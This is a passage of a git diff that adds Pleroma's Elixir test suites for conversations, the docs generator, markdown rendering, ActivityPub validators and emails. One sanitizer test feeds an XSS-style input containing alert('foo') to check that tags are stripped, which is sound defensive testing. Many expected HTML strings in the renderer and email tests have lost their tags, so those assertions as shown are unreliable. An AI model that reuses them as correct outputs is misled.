[participation] = Participation.for_user(user) + + participation = Participation.get(participation.id, preload: [:conversation]) + + assert %Pleroma.Conversation{} = participation.conversation + end + + test "for a new conversation or a reply, it doesn't mark the author's participation as unread" do + user = insert(:user) + other_user = insert(:user) + + {:ok, _} = + CommonAPI.post(user, %{status: "Hey @#{other_user.nickname}.", visibility: "direct"}) + + user = User.get_cached_by_id(user.id) + other_user = User.get_cached_by_id(other_user.id) + + [%{read: true}] = Participation.for_user(user) + [%{read: false} = participation] = Participation.for_user(other_user) + + assert User.get_cached_by_id(user.id).unread_conversation_count == 0 + assert User.get_cached_by_id(other_user.id).unread_conversation_count == 1 + + {:ok, _} = + CommonAPI.post(other_user, %{ + status: "Hey @#{user.nickname}.", + visibility: "direct", + in_reply_to_conversation_id: participation.id + }) + + user = User.get_cached_by_id(user.id) + other_user = User.get_cached_by_id(other_user.id) + + [%{read: false}] = Participation.for_user(user) + [%{read: true}] = Participation.for_user(other_user) + + assert User.get_cached_by_id(user.id).unread_conversation_count == 1 + assert User.get_cached_by_id(other_user.id).unread_conversation_count == 0 + end + + test "for a new conversation, it sets the recipents of the participation" do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{status: "Hey @#{other_user.nickname}.", visibility: "direct"}) + + user = User.get_cached_by_id(user.id) + other_user = User.get_cached_by_id(other_user.id) + [participation] = Participation.for_user(user) + participation = Pleroma.Repo.preload(participation, :recipients) + + assert length(participation.recipients) == 2 + assert user in participation.recipients + assert other_user in participation.recipients + + # Mentioning another user in the same conversation will not add a new recipients. + + {:ok, _activity} = + CommonAPI.post(user, %{ + in_reply_to_status_id: activity.id, + status: "Hey @#{third_user.nickname}.", + visibility: "direct" + }) + + [participation] = Participation.for_user(user) + participation = Pleroma.Repo.preload(participation, :recipients) + + assert length(participation.recipients) == 2 + end + + test "it creates a participation for a conversation and a user" do + user = insert(:user) + conversation = insert(:conversation) + + {:ok, %Participation{} = participation} = + Participation.create_for_user_and_conversation(user, conversation) + + assert participation.user_id == user.id + assert participation.conversation_id == conversation.id + + # Needed because updated_at is accurate down to a second + :timer.sleep(1000) + + # Creating again returns the same participation + {:ok, %Participation{} = participation_two} = + Participation.create_for_user_and_conversation(user, conversation) + + assert participation.id == participation_two.id + refute participation.updated_at == participation_two.updated_at + end + + test "recreating an existing participations sets it to unread" do + participation = insert(:participation, %{read: true}) + + {:ok, participation} = + Participation.create_for_user_and_conversation( + participation.user, + participation.conversation + ) + + refute participation.read + end + + test "it marks a participation as read" do + participation = insert(:participation, %{read: false}) + {:ok, updated_participation} = Participation.mark_as_read(participation) + + assert updated_participation.read + assert updated_participation.updated_at == participation.updated_at + end + + test "it marks a participation as unread" do + participation = insert(:participation, %{read: true}) + {:ok, participation} = Participation.mark_as_unread(participation) + + refute participation.read + end + + test "it marks all the user's participations as read" do + user = insert(:user) + other_user = insert(:user) + participation1 = insert(:participation, %{read: false, user: user}) + participation2 = insert(:participation, %{read: false, user: user}) + participation3 = insert(:participation, %{read: false, user: other_user}) + + {:ok, _, [%{read: true}, %{read: true}]} = Participation.mark_all_as_read(user) + + assert Participation.get(participation1.id).read == true + assert Participation.get(participation2.id).read == true + assert Participation.get(participation3.id).read == false + end + + test "gets all the participations for a user, ordered by updated at descending" do + user = insert(:user) + {:ok, activity_one} = CommonAPI.post(user, %{status: "x", visibility: "direct"}) + {:ok, activity_two} = CommonAPI.post(user, %{status: "x", visibility: "direct"}) + + {:ok, activity_three} = + CommonAPI.post(user, %{ + status: "x", + visibility: "direct", + in_reply_to_status_id: activity_one.id + }) + + # Offset participations because the accuracy of updated_at is down to a second + + for {activity, offset} <- [{activity_two, 1}, {activity_three, 2}] do + conversation = Conversation.get_for_ap_id(activity.data["context"]) + participation = Participation.for_user_and_conversation(user, conversation) + updated_at = NaiveDateTime.add(Map.get(participation, :updated_at), offset) + + Ecto.Changeset.change(participation, %{updated_at: updated_at}) + |> Repo.update!() + end + + assert [participation_one, participation_two] = Participation.for_user(user) + + object2 = Pleroma.Object.normalize(activity_two) + object3 = Pleroma.Object.normalize(activity_three) + + user = Repo.get(Pleroma.User, user.id) + + assert participation_one.conversation.ap_id == object3.data["context"] + assert participation_two.conversation.ap_id == object2.data["context"] + assert participation_one.conversation.users == [user] + + # Pagination + assert [participation_one] = Participation.for_user(user, %{"limit" => 1}) + + assert participation_one.conversation.ap_id == object3.data["context"] + + # With last_activity_id + assert [participation_one] = + Participation.for_user_with_last_activity_id(user, %{"limit" => 1}) + + assert participation_one.last_activity_id == activity_three.id + end + + test "Doesn't die when the conversation gets empty" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) + [participation] = Participation.for_user_with_last_activity_id(user) + + assert participation.last_activity_id == activity.id + + {:ok, _} = CommonAPI.delete(activity.id, user) + + [] = Participation.for_user_with_last_activity_id(user) + end + + test "it sets recipients, always keeping the owner of the participation even when not explicitly set" do + user = insert(:user) + other_user = insert(:user) + + {:ok, _activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) + [participation] = Participation.for_user_with_last_activity_id(user) + + participation = Repo.preload(participation, :recipients) + user = User.get_cached_by_id(user.id) + + assert participation.recipients |> length() == 1 + assert user in participation.recipients + + {:ok, participation} = Participation.set_recipients(participation, [other_user.id]) + + assert participation.recipients |> length() == 2 + assert user in participation.recipients + assert other_user in participation.recipients + end + + describe "blocking" do + test "when the user blocks a recipient, the existing conversations with them are marked as read" do + blocker = insert(:user) + blocked = insert(:user) + third_user = insert(:user) + + {:ok, _direct1} = + CommonAPI.post(third_user, %{ + status: "Hi @#{blocker.nickname}", + visibility: "direct" + }) + + {:ok, _direct2} = + CommonAPI.post(third_user, %{ + status: "Hi @#{blocker.nickname}, @#{blocked.nickname}", + visibility: "direct" + }) + + {:ok, _direct3} = + CommonAPI.post(blocked, %{ + status: "Hi @#{blocker.nickname}", + visibility: "direct" + }) + + {:ok, _direct4} = + CommonAPI.post(blocked, %{ + status: "Hi @#{blocker.nickname}, @#{third_user.nickname}", + visibility: "direct" + }) + + assert [%{read: false}, %{read: false}, %{read: false}, %{read: false}] = + Participation.for_user(blocker) + + assert User.get_cached_by_id(blocker.id).unread_conversation_count == 4 + + {:ok, _user_relationship} = User.block(blocker, blocked) + + # The conversations with the blocked user are marked as read + assert [%{read: true}, %{read: true}, %{read: true}, %{read: false}] = + Participation.for_user(blocker) + + assert User.get_cached_by_id(blocker.id).unread_conversation_count == 1 + + # The conversation is not marked as read for the blocked user + assert [_, _, %{read: false}] = Participation.for_user(blocked) + assert User.get_cached_by_id(blocked.id).unread_conversation_count == 1 + + # The conversation is not marked as read for the third user + assert [%{read: false}, _, _] = Participation.for_user(third_user) + assert User.get_cached_by_id(third_user.id).unread_conversation_count == 1 + end + + test "the new conversation with the blocked user is not marked as unread " do + blocker = insert(:user) + blocked = insert(:user) + third_user = insert(:user) + + {:ok, _user_relationship} = User.block(blocker, blocked) + + # When the blocked user is the author + {:ok, _direct1} = + CommonAPI.post(blocked, %{ + status: "Hi @#{blocker.nickname}", + visibility: "direct" + }) + + assert [%{read: true}] = Participation.for_user(blocker) + assert User.get_cached_by_id(blocker.id).unread_conversation_count == 0 + + # When the blocked user is a recipient + {:ok, _direct2} = + CommonAPI.post(third_user, %{ + status: "Hi @#{blocker.nickname}, @#{blocked.nickname}", + visibility: "direct" + }) + + assert [%{read: true}, %{read: true}] = Participation.for_user(blocker) + assert User.get_cached_by_id(blocker.id).unread_conversation_count == 0 + + assert [%{read: false}, _] = Participation.for_user(blocked) + assert User.get_cached_by_id(blocked.id).unread_conversation_count == 1 + end + + test "the conversation with the blocked user is not marked as unread on a reply" do + blocker = insert(:user) + blocked = insert(:user) + third_user = insert(:user) + + {:ok, _direct1} = + CommonAPI.post(blocker, %{ + status: "Hi @#{third_user.nickname}, @#{blocked.nickname}", + visibility: "direct" + }) + + {:ok, _user_relationship} = User.block(blocker, blocked) + assert [%{read: true}] = Participation.for_user(blocker) + assert User.get_cached_by_id(blocker.id).unread_conversation_count == 0 + + assert [blocked_participation] = Participation.for_user(blocked) + + # When it's a reply from the blocked user + {:ok, _direct2} = + CommonAPI.post(blocked, %{ + status: "reply", + visibility: "direct", + in_reply_to_conversation_id: blocked_participation.id + }) + + assert [%{read: true}] = Participation.for_user(blocker) + assert User.get_cached_by_id(blocker.id).unread_conversation_count == 0 + + assert [third_user_participation] = Participation.for_user(third_user) + + # When it's a reply from the third user + {:ok, _direct3} = + CommonAPI.post(third_user, %{ + status: "reply", + visibility: "direct", + in_reply_to_conversation_id: third_user_participation.id + }) + + assert [%{read: true}] = Participation.for_user(blocker) + assert User.get_cached_by_id(blocker.id).unread_conversation_count == 0 + + # Marked as unread for the blocked user + assert [%{read: false}] = Participation.for_user(blocked) + assert User.get_cached_by_id(blocked.id).unread_conversation_count == 1 + end + end +end diff --git a/test/pleroma/conversation_test.exs b/test/pleroma/conversation_test.exs new file mode 100644 index 000000000..359aa6840 --- /dev/null +++ b/test/pleroma/conversation_test.exs @@ -0,0 +1,199 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ConversationTest do + use Pleroma.DataCase + alias Pleroma.Activity + alias Pleroma.Conversation + alias Pleroma.Object + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + setup_all do: clear_config([:instance, :federating], true) + + test "it goes through old direct conversations" do + user = insert(:user) + other_user = insert(:user) + + {:ok, _activity} = + CommonAPI.post(user, %{visibility: "direct", status: "hey @#{other_user.nickname}"}) + + Pleroma.Tests.ObanHelpers.perform_all() + + Repo.delete_all(Conversation) + Repo.delete_all(Conversation.Participation) + + refute Repo.one(Conversation) + + Conversation.bump_for_all_activities() + + assert Repo.one(Conversation) + [participation, _p2] = Repo.all(Conversation.Participation) + + assert participation.read + end + + test "it creates a conversation for given ap_id" do + assert {:ok, %Conversation{} = conversation} = + Conversation.create_for_ap_id("https://some_ap_id") + + # Inserting again returns the same + assert {:ok, conversation_two} = Conversation.create_for_ap_id("https://some_ap_id") + assert conversation_two.id == conversation.id + end + + test "public posts don't create conversations" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "Hey"}) + + object = Pleroma.Object.normalize(activity) + context = object.data["context"] + + conversation = Conversation.get_for_ap_id(context) + + refute conversation + end + + test "it creates or updates a conversation and participations for a given DM" do + har = insert(:user) + jafnhar = insert(:user, local: false) + tridi = insert(:user) + + {:ok, activity} = + CommonAPI.post(har, %{status: "Hey @#{jafnhar.nickname}", visibility: "direct"}) + + object = Pleroma.Object.normalize(activity) + context = object.data["context"] + + conversation = + Conversation.get_for_ap_id(context) + |> Repo.preload(:participations) + + assert conversation + + assert Enum.find(conversation.participations, fn %{user_id: user_id} -> har.id == user_id end) + + assert Enum.find(conversation.participations, fn %{user_id: user_id} -> + jafnhar.id == user_id + end) + + {:ok, activity} = + CommonAPI.post(jafnhar, %{ + status: "Hey @#{har.nickname}", + visibility: "direct", + in_reply_to_status_id: activity.id + }) + + object = Pleroma.Object.normalize(activity) + context = object.data["context"] + + conversation_two = + Conversation.get_for_ap_id(context) + |> Repo.preload(:participations) + + assert conversation_two.id == conversation.id + + assert Enum.find(conversation_two.participations, fn %{user_id: user_id} -> + har.id == user_id + end) + + assert Enum.find(conversation_two.participations, fn %{user_id: user_id} -> + jafnhar.id == user_id + end) + + {:ok, activity} = + CommonAPI.post(tridi, %{ + status: "Hey @#{har.nickname}", + visibility: "direct", + in_reply_to_status_id: activity.id + }) + + object = Pleroma.Object.normalize(activity) + context = object.data["context"] + + conversation_three = + Conversation.get_for_ap_id(context) + |> Repo.preload([:participations, :users]) + + assert conversation_three.id == conversation.id + + assert Enum.find(conversation_three.participations, fn %{user_id: user_id} -> + har.id == user_id + end) + + assert Enum.find(conversation_three.participations, fn %{user_id: user_id} -> + jafnhar.id == user_id + end) + + assert Enum.find(conversation_three.participations, fn %{user_id: user_id} -> + tridi.id == user_id + end) + + assert Enum.find(conversation_three.users, fn %{id: user_id} -> + har.id == user_id + end) + + assert Enum.find(conversation_three.users, fn %{id: user_id} -> + jafnhar.id == user_id + end) + + assert Enum.find(conversation_three.users, fn %{id: user_id} -> + tridi.id == user_id + end) + end + + test "create_or_bump_for returns the conversation with participations" do + har = insert(:user) + jafnhar = insert(:user, local: false) + + {:ok, activity} = + CommonAPI.post(har, %{status: "Hey @#{jafnhar.nickname}", visibility: "direct"}) + + {:ok, conversation} = Conversation.create_or_bump_for(activity) + + assert length(conversation.participations) == 2 + + {:ok, activity} = + CommonAPI.post(har, %{status: "Hey @#{jafnhar.nickname}", visibility: "public"}) + + assert {:error, _} = Conversation.create_or_bump_for(activity) + end + + test "create_or_bump_for does not normalize objects before checking the activity type" do + note = insert(:note) + note_id = note.data["id"] + Repo.delete(note) + refute Object.get_by_ap_id(note_id) + + Tesla.Mock.mock(fn env -> + case env.url do + ^note_id -> + # TODO: add attributedTo and tag to the note factory + body = + note.data + |> Map.put("attributedTo", note.data["actor"]) + |> Map.put("tag", []) + |> Jason.encode!() + + %Tesla.Env{status: 200, body: body} + end + end) + + undo = %Activity{ + id: "fake", + data: %{ + "id" => Pleroma.Web.ActivityPub.Utils.generate_activity_id(), + "actor" => note.data["actor"], + "to" => [note.data["actor"]], + "object" => note_id, + "type" => "Undo" + } + } + + Conversation.create_or_bump_for(undo) + + refute Object.get_by_ap_id(note_id) + end +end diff --git a/test/pleroma/docs/generator_test.exs b/test/pleroma/docs/generator_test.exs new file mode 100644 index 000000000..43877244d --- /dev/null +++ b/test/pleroma/docs/generator_test.exs @@ -0,0 +1,226 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Docs.GeneratorTest do + use ExUnit.Case, async: true + alias Pleroma.Docs.Generator + + @descriptions [ + %{ + group: :pleroma, + key: Pleroma.Upload, + type: :group, + description: "", + children: [ + %{ + key: :uploader, + type: :module, + description: "", + suggestions: {:list_behaviour_implementations, Pleroma.Upload.Filter} + }, + %{ + key: :filters, + type: {:list, :module}, + description: "", + suggestions: {:list_behaviour_implementations, Pleroma.Web.ActivityPub.MRF} + }, + %{ + key: Pleroma.Upload, + type: :string, + description: "", + suggestions: [""] + }, + %{ + key: :some_key, + type: :keyword, + description: "", + suggestions: [], + children: [ + %{ + key: :another_key, + type: :integer, + description: "", + suggestions: [5] + }, + %{ + key: :another_key_with_label, + label: "Another label", + type: :integer, + description: "", + suggestions: [7] + } + ] + }, + %{ + key: :key1, + type: :atom, + description: "", + suggestions: [ + :atom, + Pleroma.Upload, + {:tuple, "string", 8080}, + [:atom, Pleroma.Upload, {:atom, Pleroma.Upload}] + ] + }, + %{ + key: Pleroma.Upload, + label: "Special Label", + type: :string, + description: "", + suggestions: [""] + }, + %{ + group: {:subgroup, Swoosh.Adapters.SMTP}, + key: :auth, + type: :atom, + description: "`Swoosh.Adapters.SMTP` adapter specific setting", + suggestions: [:always, :never, :if_available] + }, + %{ + key: "application/xml", + type: {:list, :string}, + suggestions: ["xml"] + }, + %{ + key: :versions, + type: {:list, :atom}, + description: "List of TLS version to use", + suggestions: [:tlsv1, ":tlsv1.1", ":tlsv1.2"] + } + ] + }, + %{ + group: :tesla, + key: :adapter, + type: :group, + description: "" + }, + %{ + group: :cors_plug, + type: :group, + children: [%{key: :key1, type: :string, suggestions: [""]}] + }, + %{group: "Some string group", key: "Some string key", type: :group} + ] + + describe "convert_to_strings/1" do + test "group, key, label" do + [desc1, desc2 | _] = Generator.convert_to_strings(@descriptions) + + assert desc1[:group] == ":pleroma" + assert desc1[:key] == "Pleroma.Upload" + assert desc1[:label] == "Pleroma.Upload" + + assert desc2[:group] == ":tesla" + assert desc2[:key] == ":adapter" + assert desc2[:label] == "Adapter" + end + + test "group without key" do + descriptions = Generator.convert_to_strings(@descriptions) + desc = Enum.at(descriptions, 2) + + assert desc[:group] == ":cors_plug" + refute desc[:key] + assert desc[:label] == "Cors plug" + end + + test "children key, label, type" do + [%{children: [child1, child2, child3, child4 | _]} | _] = + Generator.convert_to_strings(@descriptions) + + assert child1[:key] == ":uploader" + assert child1[:label] == "Uploader" + assert child1[:type] == :module + + assert child2[:key] == ":filters" + assert child2[:label] == "Filters" + assert child2[:type] == {:list, :module} + + assert child3[:key] == "Pleroma.Upload" + assert child3[:label] == "Pleroma.Upload" + assert child3[:type] == :string + + assert child4[:key] == ":some_key" + assert child4[:label] == "Some key" + assert child4[:type] == :keyword + end + + test "child with predefined label" do + [%{children: children} | _] = Generator.convert_to_strings(@descriptions) + child = Enum.at(children, 5) + assert child[:key] == "Pleroma.Upload" + assert child[:label] == "Special Label" + end + + test "subchild" do + [%{children: children} | _] = Generator.convert_to_strings(@descriptions) + child = Enum.at(children, 3) + %{children: [subchild | _]} = child + + assert subchild[:key] == ":another_key" + assert subchild[:label] == "Another key" + assert subchild[:type] == :integer + end + + test "subchild with predefined label" do + [%{children: children} | _] = Generator.convert_to_strings(@descriptions) + child = Enum.at(children, 3) + %{children: subchildren} = child + subchild = Enum.at(subchildren, 1) + + assert subchild[:key] == ":another_key_with_label" + assert subchild[:label] == "Another label" + end + + test "module suggestions" do + [%{children: [%{suggestions: suggestions} | _]} | _] = + Generator.convert_to_strings(@descriptions) + + Enum.each(suggestions, fn suggestion -> + assert String.starts_with?(suggestion, "Pleroma.") + end) + end + + test "atoms in suggestions with leading `:`" do + [%{children: children} | _] = Generator.convert_to_strings(@descriptions) + %{suggestions: suggestions} = Enum.at(children, 4) + assert Enum.at(suggestions, 0) == ":atom" + assert Enum.at(suggestions, 1) == "Pleroma.Upload" + assert Enum.at(suggestions, 2) == {":tuple", "string", 8080} + assert Enum.at(suggestions, 3) == [":atom", "Pleroma.Upload", {":atom", "Pleroma.Upload"}] + + %{suggestions: suggestions} = Enum.at(children, 6) + assert Enum.at(suggestions, 0) == ":always" + assert Enum.at(suggestions, 1) == ":never" + assert Enum.at(suggestions, 2) == ":if_available" + end + + test "group, key as string in main desc" do + descriptions = Generator.convert_to_strings(@descriptions) + desc = Enum.at(descriptions, 3) + assert desc[:group] == "Some string group" + assert desc[:key] == "Some string key" + end + + test "key as string subchild" do + [%{children: children} | _] = Generator.convert_to_strings(@descriptions) + child = Enum.at(children, 7) + assert child[:key] == "application/xml" + end + + test "suggestion for tls versions" do + [%{children: children} | _] = Generator.convert_to_strings(@descriptions) + child = Enum.at(children, 8) + assert child[:suggestions] == [":tlsv1", ":tlsv1.1", ":tlsv1.2"] + end + + test "subgroup with module name" do + [%{children: children} | _] = Generator.convert_to_strings(@descriptions) + + %{group: subgroup} = Enum.at(children, 6) + assert subgroup == {":subgroup", "Swoosh.Adapters.SMTP"} + end + end +end diff --git a/test/pleroma/earmark_renderer_test.exs b/test/pleroma/earmark_renderer_test.exs new file mode 100644 index 000000000..220d97d16 --- /dev/null +++ b/test/pleroma/earmark_renderer_test.exs @@ -0,0 +1,79 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only +defmodule Pleroma.EarmarkRendererTest do + use ExUnit.Case + + test "Paragraph" do + code = ~s[Hello\n\nWorld!] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == "

Hello

World!

" + end + + test "raw HTML" do + code = ~s[OwO] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == "

#{code}

" + end + + test "rulers" do + code = ~s[before\n\n-----\n\nafter] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == "

before


after

" + end + + test "headings" do + code = ~s[# h1\n## h2\n### h3\n] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == ~s[

h1

h2

h3

] + end + + test "blockquote" do + code = ~s[> whoms't are you quoting?] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == "

whoms’t are you quoting?

" + end + + test "code" do + code = ~s[`mix`] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == ~s[

mix

] + + code = ~s[``mix``] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == ~s[

mix

] + + code = ~s[```\nputs "Hello World"\n```] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == ~s[
puts "Hello World"
] + end + + test "lists" do + code = ~s[- one\n- two\n- three\n- four] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == "
  • one
  • two
  • three
  • four
" + + code = ~s[1. one\n2. two\n3. three\n4. four\n] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == "
  1. one
  2. two
  3. three
  4. four
" + end + + test "delegated renderers" do + code = ~s[a
b] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == "

#{code}

" + + code = ~s[*aaaa~*] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == ~s[

aaaa~

] + + code = ~s[**aaaa~**] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == ~s[

aaaa~

] + + # strikethrought + code = ~s[aaaa~] + result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer}) + assert result == ~s[

aaaa~

] + end +end diff --git a/test/pleroma/ecto_type/activity_pub/object_validators/date_time_test.exs b/test/pleroma/ecto_type/activity_pub/object_validators/date_time_test.exs new file mode 100644 index 000000000..812463454 --- /dev/null +++ b/test/pleroma/ecto_type/activity_pub/object_validators/date_time_test.exs @@ -0,0 +1,36 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.EctoType.ActivityPub.ObjectValidators.DateTimeTest do + alias Pleroma.EctoType.ActivityPub.ObjectValidators.DateTime + use Pleroma.DataCase + + test "it validates an xsd:Datetime" do + valid_strings = [ + "2004-04-12T13:20:00", + "2004-04-12T13:20:15.5", + "2004-04-12T13:20:00-05:00", + "2004-04-12T13:20:00Z" + ] + + invalid_strings = [ + "2004-04-12T13:00", + "2004-04-1213:20:00", + "99-04-12T13:00", + "2004-04-12" + ] + + assert {:ok, "2004-04-01T12:00:00Z"} == DateTime.cast("2004-04-01T12:00:00Z") + + Enum.each(valid_strings, fn date_time -> + result = DateTime.cast(date_time) + assert {:ok, _} = result + end) + + Enum.each(invalid_strings, fn date_time -> + result = DateTime.cast(date_time) + assert :error == result + end) + end +end diff --git a/test/pleroma/ecto_type/activity_pub/object_validators/object_id_test.exs b/test/pleroma/ecto_type/activity_pub/object_validators/object_id_test.exs new file mode 100644 index 000000000..732e2365f --- /dev/null +++ b/test/pleroma/ecto_type/activity_pub/object_validators/object_id_test.exs @@ -0,0 +1,41 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.EctoType.ActivityPub.ObjectValidators.ObjectIDTest do + alias Pleroma.EctoType.ActivityPub.ObjectValidators.ObjectID + use Pleroma.DataCase + + @uris [ + "http://lain.com/users/lain", + "http://lain.com", + "https://lain.com/object/1" + ] + + @non_uris [ + "https://", + "rin", + 1, + :x, + %{"1" => 2} + ] + + test "it accepts http uris" do + Enum.each(@uris, fn uri -> + assert {:ok, uri} == ObjectID.cast(uri) + end) + end + + test "it accepts an object with a nested uri id" do + Enum.each(@uris, fn uri -> + assert {:ok, uri} == ObjectID.cast(%{"id" => uri}) + end) + end + + test "it rejects non-uri strings" do + Enum.each(@non_uris, fn non_uri -> + assert :error == ObjectID.cast(non_uri) + assert :error == ObjectID.cast(%{"id" => non_uri}) + end) + end +end diff --git a/test/pleroma/ecto_type/activity_pub/object_validators/recipients_test.exs b/test/pleroma/ecto_type/activity_pub/object_validators/recipients_test.exs new file mode 100644 index 000000000..2e6a0c83d --- /dev/null +++ b/test/pleroma/ecto_type/activity_pub/object_validators/recipients_test.exs @@ -0,0 +1,31 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.EctoType.ActivityPub.ObjectValidators.RecipientsTest do + alias Pleroma.EctoType.ActivityPub.ObjectValidators.Recipients + use Pleroma.DataCase + + test "it asserts that all elements of the list are object ids" do + list = ["https://lain.com/users/lain", "invalid"] + + assert :error == Recipients.cast(list) + end + + test "it works with a list" do + list = ["https://lain.com/users/lain"] + assert {:ok, list} == Recipients.cast(list) + end + + test "it works with a list with whole objects" do + list = ["https://lain.com/users/lain", %{"id" => "https://gensokyo.2hu/users/raymoo"}] + resulting_list = ["https://gensokyo.2hu/users/raymoo", "https://lain.com/users/lain"] + assert {:ok, resulting_list} == Recipients.cast(list) + end + + test "it turns a single string into a list" do + recipient = "https://lain.com/users/lain" + + assert {:ok, [recipient]} == Recipients.cast(recipient) + end +end diff --git a/test/pleroma/ecto_type/activity_pub/object_validators/safe_text_test.exs b/test/pleroma/ecto_type/activity_pub/object_validators/safe_text_test.exs new file mode 100644 index 000000000..7eddd2388 --- /dev/null +++ b/test/pleroma/ecto_type/activity_pub/object_validators/safe_text_test.exs @@ -0,0 +1,30 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.EctoType.ActivityPub.ObjectValidators.SafeTextTest do + use Pleroma.DataCase + + alias Pleroma.EctoType.ActivityPub.ObjectValidators.SafeText + + test "it lets normal text go through" do + text = "hey how are you" + assert {:ok, text} == SafeText.cast(text) + end + + test "it removes html tags from text" do + text = "hey look xss " + assert {:ok, "hey look xss alert('foo')"} == SafeText.cast(text) + end + + test "it keeps basic html tags" do + text = "hey look xss " + + assert {:ok, "hey look xss alert('foo')"} == + SafeText.cast(text) + end + + test "errors for non-text" do + assert :error == SafeText.cast(1) + end +end diff --git a/test/pleroma/emails/admin_email_test.exs b/test/pleroma/emails/admin_email_test.exs new file mode 100644 index 000000000..155057f3e --- /dev/null +++ b/test/pleroma/emails/admin_email_test.exs @@ -0,0 +1,69 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emails.AdminEmailTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.Emails.AdminEmail + alias Pleroma.Web.Router.Helpers + + test "build report email" do + config = Pleroma.Config.get(:instance) + to_user = insert(:user) + reporter = insert(:user) + account = insert(:user) + + res = + AdminEmail.report(to_user, reporter, account, [%{name: "Test", id: "12"}], "Test comment") + + status_url = Helpers.o_status_url(Pleroma.Web.Endpoint, :notice, "12") + reporter_url = Helpers.user_feed_url(Pleroma.Web.Endpoint, :feed_redirect, reporter.id) + account_url = Helpers.user_feed_url(Pleroma.Web.Endpoint, :feed_redirect, account.id) + + assert res.to == [{to_user.name, to_user.email}] + assert res.from == {config[:name], config[:notify_email]} + assert res.subject == "#{config[:name]} Report" + + assert res.html_body == + "

Reported by: #{reporter.nickname}

\n

Reported Account: #{account.nickname}

\n

Comment: Test comment\n

Statuses:\n

\n

\n\n

\nView Reports in AdminFE\n" + end + + test "it works when the reporter is a remote user without email" do + config = Pleroma.Config.get(:instance) + to_user = insert(:user) + reporter = insert(:user, email: nil, local: false) + account = insert(:user) + + res = + AdminEmail.report(to_user, reporter, account, [%{name: "Test", id: "12"}], "Test comment") + + assert res.to == [{to_user.name, to_user.email}] + assert res.from == {config[:name], config[:notify_email]} + end + + test "new unapproved registration email" do + config = Pleroma.Config.get(:instance) + to_user = insert(:user) + account = insert(:user, registration_reason: "Plz let me in") + + res = AdminEmail.new_unapproved_registration(to_user, account) + + account_url = Helpers.user_feed_url(Pleroma.Web.Endpoint, :feed_redirect, account.id) + + assert res.to == [{to_user.name, to_user.email}] + assert res.from == {config[:name], config[:notify_email]} + assert res.subject == "New account up for review on #{config[:name]} (@#{account.nickname})" + + assert res.html_body == """ +

New account for review: @#{account.nickname}

+
Plz let me in
+ Visit AdminFE + """ + end +end diff --git a/test/pleroma/emails/mailer_test.exs b/test/pleroma/emails/mailer_test.exs new file mode 100644 index 000000000..9e232d2a0 --- /dev/null +++ b/test/pleroma/emails/mailer_test.exs @@ -0,0 +1,55 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emails.MailerTest do + use Pleroma.DataCase + alias Pleroma.Emails.Mailer + + import Swoosh.TestAssertions + + @email %Swoosh.Email{ + from: {"Pleroma", "noreply@example.com"}, + html_body: "Test email", + subject: "Pleroma test email", + to: [{"Test User", "user1@example.com"}] + } + setup do: clear_config([Pleroma.Emails.Mailer, :enabled], true) + + test "not send email when mailer is disabled" do + clear_config([Pleroma.Emails.Mailer, :enabled], false) + Mailer.deliver(@email) + :timer.sleep(100) + + refute_email_sent( + from: {"Pleroma", "noreply@example.com"}, + to: [{"Test User", "user1@example.com"}], + html_body: "Test email", + subject: "Pleroma test email" + ) + end + + test "send email" do + Mailer.deliver(@email) + :timer.sleep(100) + + assert_email_sent( + from: {"Pleroma", "noreply@example.com"}, + to: [{"Test User", "user1@example.com"}], + html_body: "Test email", + subject: "Pleroma test email" + ) + end + + test "perform" do + Mailer.perform(:deliver_async, 